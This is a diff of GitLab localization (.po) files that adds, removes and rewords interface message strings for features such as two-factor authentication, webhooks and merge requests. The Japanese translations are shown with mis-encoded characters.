msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr "Non sarai in grado di eseguire pull o push di codice tramite %{protocol}
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/ja/gitlab.po b/locale/ja/gitlab.po
index e029bb075bd..623830d58b6 100644
--- a/locale/ja/gitlab.po
+++ b/locale/ja/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ja\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:46\n"
+"PO-Revision-Date: 2020-09-04 23:08\n"
msgid " %{start} to %{end}"
msgstr " %{start} ã‹ã‚‰ %{end} "
@@ -54,14 +54,14 @@ msgstr[0] " %dãƒã‚¤ãƒ³ãƒˆã§æ”¹å–„"
msgid " or "
msgstr " ã¾ãŸã¯ "
-msgid " or <!merge request id>"
-msgstr " ã¾ãŸã¯ <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " ã¾ãŸã¯ <#課題 ID>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " ã¾ãŸã¯ <&エピックID>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " ã¾ãŸã¯ãƒªãƒ•ã‚¡ãƒ¬ãƒ³ã‚¹å½¢å¼ï¼ˆä¾‹: path/to/project!merge_request_id)"
@@ -69,6 +69,9 @@ msgstr " ã¾ãŸã¯ãƒªãƒ•ã‚¡ãƒ¬ãƒ³ã‚¹å½¢å¼ï¼ˆä¾‹: path/to/project!merge_request_
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "「%{path}ã€ã¯ã€Œ%{ref}ã€ã«å­˜åœ¨ã—ã¾ã›ã‚“ã§ã—ãŸ"
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -251,6 +254,9 @@ msgstr[0] "パフォーマンス低下をé¿ã‘ã‚‹ãŸã‚ %s 個ã®ã‚³ãƒŸãƒƒãƒˆã‚
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} 㨠%{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -287,6 +293,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} コア"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} LOC/コミット"
@@ -339,6 +348,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- Sentry イベント: %{errorUrl}- 最åˆã«æ¤œå‡ºã•ã‚ŒãŸã‚¤ãƒ™ãƒ³ãƒˆ: %{firstSeen}- 最後ã«æ¤œå‡ºã•ã‚ŒãŸã‚¤ãƒ™ãƒ³ãƒˆ: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}ms"
@@ -366,8 +378,8 @@ msgstr "%{firstLabel} +%{labelCount} ã®è©³ç´°"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
-msgstr "%{global_id} 㯠%{expected_type} ã«ã¨ã£ã¦æœ‰åŠ¹ãªIDã§ã¯ã‚ã‚Šã¾ã›ã‚“。"
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr "%{group_docs_link_start}グループ%{group_docs_link_end}を使用ã™ã‚‹ã¨ã€è¤‡æ•°ã®ãƒ—ロジェクトを管ç†ã—ã¦å…±åŒä½œæ¥­ã‚’è¡Œã†ã“ã¨ãŒã§ãã¾ã™ã€‚グループã®ãƒ¡ãƒ³ãƒãƒ¼ã¯ã€æ‰€å±žã™ã‚‹ãƒ—ロジェクトã®ã™ã¹ã¦ã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã™ã€‚"
@@ -453,9 +465,6 @@ msgstr "%{level_name} 㯠%{group_level_name} グループã«å«ã‚られã¾ã›ã
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} ã¯è¨±å¯ã•ã‚Œã¾ã›ã‚“。フォークã—ãŸã‚½ãƒ¼ã‚¹ãƒ—ロジェクトã¯ã‚ˆã‚Šå¯è¦–性ãŒä½Žã„ã‹ã‚‰ã§ã™ã€‚"
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -474,6 +483,9 @@ msgstr "%{listToShow}ã€ãã—ã¦ã•ã‚‰ã« %{awardsListLength} 個。"
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} 開始"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} ã¯GitLab ユーザー %{lock_user_id} ã«ã‚ˆã£ã¦ãƒ­ãƒƒã‚¯ã•ã‚Œã¦ã„ã¾ã™"
@@ -483,6 +495,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} 人ãŒãƒžãƒ¼ã‚¸ã§ãã¾ã™"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText} ã€ã“ã®èª²é¡Œã¯è‡ªå‹•çš„ã«ã‚¯ãƒ­ãƒ¼ã‚ºã—ã¾ã™ã€‚"
@@ -590,6 +614,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -613,6 +640,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} ãƒã‚¤ãƒˆ"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} ã¯Akismetã«æ­£å¸¸ã«é€ä¿¡ã•ã‚Œã¾ã—ãŸã€‚"
@@ -628,6 +658,9 @@ msgstr "%{start} ã‹ã‚‰ %{end} ã¾ã§"
msgid "%{state} epics"
msgstr "%{state}エピック"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -696,6 +729,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr "%{total} 件ã®èª²é¡Œ"
@@ -729,6 +765,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -738,7 +777,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -781,6 +835,9 @@ msgstr "(外部ソース)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr "(除去ã—ã¾ã—ãŸ)"
@@ -961,15 +1018,6 @@ msgstr "8 時間"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr "1 時間未満"
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "ソースブランãƒã‚’<strong>削除</strong>"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "「Runnerã€ã¯ã‚¸ãƒ§ãƒ–を実行ã™ã‚‹ãƒ—ロセスã§ã™ã€‚å¿…è¦ãªæ•°ã® Runner ã‚’ä»»æ„ã«ã‚»ãƒƒãƒˆã‚¢ãƒƒãƒ—ã§ãã¾ã™ã€‚"
@@ -1033,8 +1081,8 @@ msgstr "ãŸã ã¡ã«ä¸æ­£åˆ©ç”¨å¯¾å¿œãƒãƒ¼ãƒ ãƒ¡ãƒ³ãƒãƒ¼ã§ã„ãŸã ã„ãŸãƒ¬
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr "セキュリティレãƒãƒ¼ãƒˆã«é‡è¦åº¦ãŒã€Œé«˜ãƒ»é‡å¤§ãƒ»ä¸æ˜Žã€ãªæ–°ã—ã„脆弱性ãŒå«ã¾ã‚Œã¦ã„ã‚‹å ´åˆã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®æ‰¿èªãŒè¦æ±‚ã•ã‚Œã¾ã™ã€‚"
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
-msgstr "ライセンスコンプライアンスレãƒãƒ¼ãƒˆã«ãƒ–ラックリストã«è¨˜è¼‰ã•ã‚ŒãŸãƒ©ã‚¤ã‚»ãƒ³ã‚¹ãŒå«ã¾ã‚Œã¦ã„ã‚‹å ´åˆã«ã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®æ‰¿èªãŒè¦æ±‚ã•ã‚Œã¾ã™ã€‚"
+msgid "A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr "æ–°ã—ã„Auto DevOps パイプラインãŒä½œæˆã•ã‚Œã¾ã—ãŸã€‚詳細ã«ã¤ã„ã¦ã¯ã€ %{pipelines_link_start}パイプラインページ%{pipelines_link_end} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
@@ -1051,6 +1099,9 @@ msgstr "フォークã«æ–°ã—ã„ブランãƒãŒä½œæˆã•ã‚Œã€æ–°ã—ã„マージ
msgid "A new impersonation token has been created."
msgstr "æ–°ã—ã„å½è£…トークンãŒä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "GitLab ã®ä»£ã‚ã‚Šã« Netlify for CI/CD を使用ã—ã¦ã„るプレーン HTML サイトã§ã™ãŒã€GitLab ã«ã¯ãªã„優れãŸæ©Ÿèƒ½ã‚‚å‚™ãˆã¦ã„ã¾ã™ã€‚"
@@ -1153,6 +1204,9 @@ msgstr "アクセス有効期é™"
msgid "Access forbidden. Check your access level."
msgstr "アクセスã¯ç¦æ­¢ã•ã‚Œã¦ã„ã¾ã™ã€‚アクセスレベルを確èªã—ã¦ãã ã•ã„。"
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "'%{classification_label}'ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã¯è¨±å¯ã•ã‚Œã¦ã„ã¾ã›ã‚“"
@@ -1264,6 +1318,9 @@ msgstr "有効化"
msgid "Activate Service Desk"
msgstr "サービスデスクを有効ã«ã™ã‚‹"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "有効"
@@ -1295,12 +1352,6 @@ msgstr[0] "課題を%d 件ã€è¿½åŠ "
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "変更履歴を追加"
@@ -1415,6 +1466,9 @@ msgstr "エピックã«å­ã‚¨ãƒ”ックを追加"
msgid "Add comment now"
msgstr "コメントã™ã‚‹"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1427,6 +1481,9 @@ msgstr "メールアドレス追加"
msgid "Add environment"
msgstr "環境ã®è¿½åŠ "
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
